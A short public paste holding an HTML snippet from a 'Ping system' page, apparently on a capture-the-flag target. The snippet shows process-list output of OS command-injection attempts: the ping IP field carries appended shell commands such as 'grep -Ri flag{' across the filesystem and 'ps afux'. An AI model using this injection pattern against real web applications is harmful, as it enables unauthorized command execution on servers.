Untitled

From Chartreuse Bat, 2 Years ago, written in Plain Text, viewed 504 times.
URL https://p.gaa.st/view/135bea39 Embed
Download Paste or View Raw
  1.         <div class="c-tab">
  2.           <div class="c-tab__content">
  3.             <h2>Ping system</h2>
  4.             <p>
  5.                     <pre>www-data   38578  0.0  0.0   2888   960 ?        S    Jul23   0:00  |   \_ sh -c /bin/ping -c 4 1.2.3.4?8;grep -Ri "flag{" ../../../ 2>&1
  6. www-data   38580  0.0  0.1   3624  1432 ?        S    Jul23   0:00  |       \_ grep -Ri flag{ ../../../
  7. www-data   38536  0.0  0.0   2888   932 ?        S    Jul23   0:00  |   \_ sh -c /bin/ping -c 4 1.2.3.4?8;grep -Ri "flag{" 2>/dev/null / 2>&1
  8. www-data   38538  0.0  0.2   3624  2068 ?        S    Jul23   0:00  |       \_ grep -Ri flag{ /
  9. www-data   38541  0.0  0.0   2888   972 ?        S    Jul23   0:00  |   \_ sh -c /bin/ping -c 4 1.2.3.4?8;grep -Ri "flag{" 2>/dev/null / | grep -i flag 2>&1
  10. www-data   38543  0.0  0.1   3624  1968 ?        S    Jul23   0:00  |       \_ grep -Ri flag{ /
  11. www-data   38544  0.0  0.1   3468  1460 ?        S    Jul23   0:00  |       \_ grep -i flag
  12. www-data   48283  0.0  0.0   2888   960 ?        S    Jul24   0:00  |   \_ sh -c /bin/ping -c 4 0.0.0.0?8 -h; grep -R flag / 2>&1
  13. www-data   48285  0.0  0.2   3620  2156 ?        S    Jul24   0:00  |       \_ grep -R flag /
  14. www-data   54364  0.0  0.1   2888  1000 ?        S    09:52   0:00  |   \_ sh -c /bin/ping -c 4 8.8.8.8?8; ps afux | grep -i flag 2>&1
  15. www-data   54367  0.0  0.1   3468  1680 ?        S    09:52   0:00  |       \_ grep -i flag
  16. </pre>          </p>
  17.           </div>
  18.         </div>
  19.  

Reply to "Untitled"

Here you can reply to the paste above